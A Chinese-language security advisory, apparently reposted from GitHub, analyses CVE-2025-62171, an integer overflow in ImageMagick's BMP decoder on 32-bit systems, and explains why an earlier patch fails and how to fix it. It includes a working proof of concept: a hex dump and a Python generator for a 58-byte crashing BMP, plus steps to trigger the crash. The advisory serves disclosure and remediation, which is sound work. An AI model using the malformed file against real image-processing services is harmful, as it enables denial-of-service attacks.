ImageMagick BMP 解码器整数溢出漏洞剖析与修复

本文详细分析了ImageMagick在BMP解码器中存在的一个整数溢出漏洞(CVE-2025-62171),包括其根本原因、不完整的补丁、32位系统下的攻击场景、完整的PoC以及修复建议。

ImageMagick 在 BMP 解码器(ReadBMP)中存在整数溢出 · CVE-2025-62171 · GitHub Advisory Database · GitHub

CVE-2025-62171

漏洞详情

摘要 CVE-2025-57803 声称已在 ImageMagick 7.1.2-2 中修复,但该修复不完整且无效。最新版本 7.1.2-5 仍易受相同的整数溢出攻击。该补丁添加了 BMPOverflowCheck() 函数,但将其放置在溢出发生之后,导致其无效。一个仅 58 字节的恶意 BMP 文件即可触发 AddressSanitizer 崩溃并导致拒绝服务(DoS)。

受影响版本:

  • ImageMagick < 7.1.2-2 (最初报告)
  • ImageMagick 7.1.2-2 至 7.1.2-5 (不完整补丁)

平台和配置要求:

  • 仅限 32 位系统 (i386, i686, armv7l 等)
  • 要求 size_t = 4 字节。(64 位系统不易受攻击 (size_t = 8 字节))
  • 要求修改资源限制:必须手动增加默认的宽度、高度和面积限制(使用默认 ImageMagick 资源限制的系统不易受攻击)。

详情(根本原因分析)

易受攻击代码位置 文件:coders/bmp.c 行数:1120-1122 (在 7.1.2-5 版本中)

不完整的补丁

1
2
3
4
5
6
7
8
9
// 第1120行:整数溢出发生在此处
extent = image->columns * bmp_info.bits_per_pixel; // 溢出!

// 第1121行:使用已经溢出的值
bytes_per_line = 4*((extent+31)/32);

// 第1122行:检查的是结果,而不是乘法运算
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

为什么补丁失败 攻击向量(32位系统): 输入 BMP 头部:

  • 宽度:536,870,912 (0x20000000)
  • 高度:1
  • 每像素位数:32

32位系统上的计算:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
extent = 536,870,912 × 32
       = 17,179,869,184 (0x400000000)

32位截断:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出至零!

bytes_per_line = 4 × ((0 + 31) / 32)
               = 4 × 0
               = 0

BMPOverflowCheck(0, 1):
   return (1 != 0) && (0 > 4294967295UL/1)
   return True && (0 > 4294967295)
   return True && False
   return False ← 未检测到溢出!

检查失败是因为:

  1. 溢出发生在第 1120 行 (extent 计算)
  2. extent 因 32 位截断变为 0
  3. bytes_per_line 计算为 0 (第1121行)
  4. BMPOverflowCheck(0, 1) 返回 False (未检测到溢出)
  5. 代码继续执行,使用损坏的值 → ASan 崩溃

PoC(概念验证)

最小的 58 字节 BMP 文件 十六进制转储:

1
2
3
4
00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

关键字段:

  • 偏移 0x12: 宽度 = 00 00 00 20 = 0x20000000 (536,870,912)
  • 偏移 0x16: 高度 = 01 00 00 00 = 1
  • 偏移 0x1C: 每像素位数 = 20 00 = 32

Python 生成器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP 文件头 (14 字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留
file_header += struct.pack('<I', 54)      # 像素数据偏移量

# DIB 头 (40 字节)
dib_header = struct.pack('<I', 40)        # 头部大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 颜色平面数
dib_header += struct.pack('<H', bpp)      # 每像素位数
dib_header += struct.pack('<I', 0)        # 压缩方式
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # 水平分辨率 (像素/米)
dib_header += struct.pack('<i', 2835)     # 垂直分辨率 (像素/米)
dib_header += struct.pack('<I', 0)        # 调色板颜色数
dib_header += struct.pack('<I', 0)        # 重要颜色数

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

复现步骤

环境设置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 使用 32 位 Docker 容器
docker run -it --name test-32bit i386/ubuntu:latest bash

# 安装依赖
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# 下载 ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

使用 AddressSanitizer 构建(32位,重要!)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# 配置 32 位构建(关键 - 必须是 32 位!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

触发漏洞

1
2
3
4
5
6
7
8
# 设置环境以绕过 cache.c 中的限制
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# 使用恶意 BMP 进行测试(使用上面的 Python 脚本创建它)
./utilities/magick identify overflow.bmp

AddressSanitizer 输出

1
2
3
4
5
6
7
8
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return:
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow

它在以下环境中运行。

1
2
3
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

影响

攻击场景

  1. 攻击者创建一个 58 字节的恶意 BMP 文件。
  2. 上传到使用 ImageMagick(在 32 位系统上)的 Web 服务。
  3. ImageMagick 尝试处理该图像。
  4. 整数溢出触发 AddressSanitizer 崩溃。
  5. 服务变得不可用(拒绝服务)。

现实世界目标:

  • 带有图像处理的 Web 托管平台
  • 带有缩略图生成的 CDN 服务
  • 传统嵌入式系统
  • 运行 32 位 Linux 的 IoT 设备
  • 使用 32 位基础镜像的 Docker 容器

建议的修复

正确的补丁 溢出检查必须在乘法运算之前进行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// 在计算 extent 之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在可以安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用 64 位算术

1
2
3
4
5
6
7
8
// 强制 64 位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

致谢

wooseokdotkim wooseokdotkim@gmail.com

参考

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计